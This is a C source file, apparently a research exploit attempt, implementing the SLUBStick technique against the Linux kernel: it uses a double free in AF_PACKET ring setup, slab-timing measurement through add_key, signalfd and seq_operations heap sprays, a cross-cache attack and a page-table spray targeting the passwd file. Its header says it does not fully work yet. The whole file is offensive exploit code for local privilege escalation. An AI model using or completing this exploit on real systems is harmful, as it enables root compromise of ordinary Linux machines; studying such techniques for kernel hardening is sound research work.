/**
 * Attempt at SLUBStick with double free (does not fully work yet)
 * 
 * Repeats object classification multiple times until a clear slab allocation pattern is found.
 * 
 * Either it crashes, or the slab is not reclaimed by the buddy allocator.
 * 
 * (5.c attempt in the paper)
 *
 */
#define _GNU_SOURCE
#include <sched.h>
#include <assert.h>
#include <fcntl.h>
#include <linux/if_packet.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/eventfd.h>
#include <sys/ioctl.h>
#include <sys/timerfd.h>
#include <sys/signalfd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/resource.h>
#include <linux/sched.h>
#include <poll.h>
#include <time.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/syscall.h>
#include <errno.h>
#include <keyutils.h>
#include "../include/exploit.h"
#include "../include/util.h"
#include "../include/signalfd_spray.h"
#include "../include/pte_spray.h"
#define ALLOCS 4096

static int cpu_partial_slabs = 8;
static int objs_per_slab = 32;
static int min_partial = 5;
static int threshold = -1100;
static int slab_per_chunk = 8;
static int slab_as_reclaimed_page_table = 1;
static int objects_fd[ALLOCS];
const char *keyring = "keyring";
void alloc_obj(int i, sigset_t mask)
{
  objects_fd[i] = signalfd(-1, &mask, 0);
}

void free_object(int i, int victim_fd)
{
  int fd = objects_fd[i];
  if (fd != victim_fd && fd != -1)
    close(fd);
}

static inline uint64_t read_cntvct(void)
{
  uint64_t val;
  asm volatile("mrs %0, cntvct_el0" : "=r"(val));
  return val;
}

static inline uint64_t read_cntfrq(void)
{
  uint64_t val;
  asm volatile("mrs %0, cntfrq_el0" : "=r"(val));
  return val;
}

int run_exploit()
{
  /*Definiciones para SLUBSTIC*/
  int allocs = ALLOCS;
  uint64_t t0, t1, delta;
  uint64_t prev_time, time, derived_time;
  uint64_t freq = read_cntfrq(); // ticks por segundos
  int start_indexes[slab_per_chunk];
  *(volatile char *)keyring;
  size_t running;
  int start;
  //
  // int num_spray = objs_per_slab * (cpu_partial_slabs + 1);
  int fd_s, ret, victim_fd;
  uint32_t block_s = PAGE, frame_s = PAGE / 2;
  int *fds_post_alloc_seq;

  printf("\n\n[+] Starting explotation\n");

  // Allocating large memory region for future PTE spray
  // void *base = mmap_align(PGT_SRAY_SIZE);

  if ((fd_s = socket(AF_PACKET, SOCK_RAW, 0)) < 0)
    perror("Error while creating socket\n");

  // PACKET_V3
  if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_VERSION, &(int){TPACKET_V3}, sizeof(int))) < 0)
    perror("Error while setsockopt, setting up packet version (V3)");

repeat_for:
  running = 0;
  start = -1;
  prev_time = 0, time = 0, derived_time = 0;
  /* Allocate pg_vec - kmalloc-128 */
  union tpacket_req_u treq = {};
  treq.req3.tp_block_size = block_s;       // 4096
  treq.req3.tp_block_nr = TARGET_SIZE / 8; // tp_block_nr * 8 sera el tamano del kmalloc a atacar
  treq.req3.tp_frame_size = block_s;       // 2048
  treq.req3.tp_frame_nr = TARGET_SIZE / 8;
  treq.req3.tp_retire_blk_tov = 0xffffffff; // You only get to do what ever you want for around 1h 10mins, then the kernel panics // this line is from terawhiz exploit

  /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  /* INTENTO DE SLUBSTICK (codigo adaptado de slubstick)*/
  pin_cpu(0);

  /* create key value which causes the kernel to return with an error (fast) */
  char *value;
  value = malloc(128);
  memset(value, 0x41, 128);
  value[0] = '.';
  value[128 - 1] = 0;

  sigset_t mask;
  sigemptyset(&mask);
  sigaddset(&mask, SIGUSR1);
  int barrier = 0, barrier1 = 0;
  int i = 0;
  for (i = 0; i < allocs; i++)
  {
    /* Allocation primitive */
    sched_yield();
    sched_yield();
    alloc_obj(i, mask);
    /* Measurement primitive */
    t0 = read_cntvct();
    ret = add_key(keyring, value, 0, 0, KEY_SPEC_THREAD_KEYRING);
    t1 = read_cntvct();

    if (ret >= 0)
      perror("add_key should be an error");

    prev_time = time;
    delta = t1 - t0;
    time = (delta * 1000000000ULL) / freq;
    // printf("[%d]\tTime taken: %ld\n", i + 1, time);
    /* Grouping allocated objects*/
    if (i > allocs / 16)
    {
      derived_time = time - prev_time;
      // printf("i=%d, time=%6lu ns, derived=%6ld ns, start=%d\n", i, time, derived_time, start);

      // printf("[%d]\tTime taken: %ld  - Derived time: (%ld)\n", i + 1, time, derived_time);

      if (start == -1)
      {
        if (derived_time < threshold)
        {
          start = i;
          continue;
        }
      }
      else if (i - start == objs_per_slab) // first object of the next slab
      {
        if (derived_time < threshold)
        {
          start_indexes[running] = start;
          if (running == 0)
          {
            sched_yield();
            alloc_obj(i+1, mask); // 2do
            sched_yield();
            alloc_obj(i+2, mask); //3ro
            i = i+2;
            printf("1st alloc\n");
            // ALLOC PG_VEC
            if ((setsockopt(fd_s, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq))) < 0) // packet_set_ring() execution
              perror("Error while setsockopt, packet RX RING (V3), first pg alloc");

            //  1st free: tp_block_nr to 0
            memset(&treq, 0, sizeof(union tpacket_req_u));
            if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq))) < 0) // packet_set_ring()
              perror("Error while putting rx_owner_map to 0, freeing first pg alloc");

            // mini spray to catch the released signal_ctx (3 objetos + 29)
            printf("1st free: i=%d\n", i);
            for (int j = i; j < i + 29; j++)
              alloc_obj(j, mask);

            i += (29);
          }

          running++;
          if (running == slab_per_chunk)
            break;
          start = i;
        }
        else
        {
          start = i;
          running = 0;
        }
      }
    }
  }
  /* si falló intentamos liberar y salir*/
  if (running != slab_per_chunk)
  {
    printf("\nstart not found\n");
    for (int j = 0; j < allocs; j++)
      free_object(j, -1);

    sleep(1);
    goto repeat_for;
  }

  for (size_t i = 0; i < slab_per_chunk; ++i)
    printf("start %ld\n", start_indexes[i]);

  // SECOND FREE fuera del bucle
  printf("change packet v2 for second free\n");
  // free vuln
  // Switch to TPACKET_V2
  if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_VERSION, &(int){TPACKET_V2}, sizeof(int))) < 0)
    perror("Error while setsockopt, setting packet version(V2) (for the second alloc) ");

  /// 2nd free: kmalloc-128
  // memset(&treq, 0, sizeof(treq));
  treq.req3.tp_block_size = block_s;
  treq.req3.tp_block_nr = 1;
  treq.req3.tp_frame_size = block_s;
  treq.req3.tp_frame_nr = 1;
  if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq))) < 0) // packet_set_ring()
    perror("setsockopt rx ring v2, second FREE");

  // Trying to catch the freed signal_ctx (overlap with seq_operations)
  printf("\nSpraying seq_operations objects...\n");
  fds_post_alloc_seq = spray_seq_operations(objs_per_slab * 3000);

  // Encontrar fd de signal_ctx overlapeado
  victim_fd = leak_signal_fd_not_equal_sigmask(objects_fd, allocs, SIGMASK_1st_SPRAY);
  if (victim_fd >= 0)
  {
    printf("¡¡Encontrado signal_ctx en fd = %d!!\n", victim_fd);
    read_fdinfo(victim_fd);
  }
  else
  {
    printf("No se encontró ningún sigmask!=0000000000002000\n");
    exit(1);
  }
  fcntl(victim_fd, F_SETFD, FD_CLOEXEC);
  free_signalfd(fds_post_alloc_seq, objs_per_slab * 3000); // free seq
  // CROSS CACHE ATTACK: Free objects
  for (size_t i = 0; i < slab_per_chunk; ++i)
  {
    for (ssize_t j = 0; j < (ssize_t)objs_per_slab; ++j)
    {
      free_object(start_indexes[i] + j, victim_fd);
    }
  }

  pte_spray_passwd(victim_fd);

  // Spray PTE
  /* touch_user_ptes(base, PGT_SRAY_SIZE);

  read_fdinfo(victim_fd);

  read_fdinfo(victim_fd); */

  sleep(2); // deberia de pasar el thread a background y dormirlo para siempre
  printf("fiiiin");
  free_user_ptes2();

  // Libera la región mapeada de tablas de PTE.
  // free_user_ptes(base, PGT_SRAY_SIZE);
}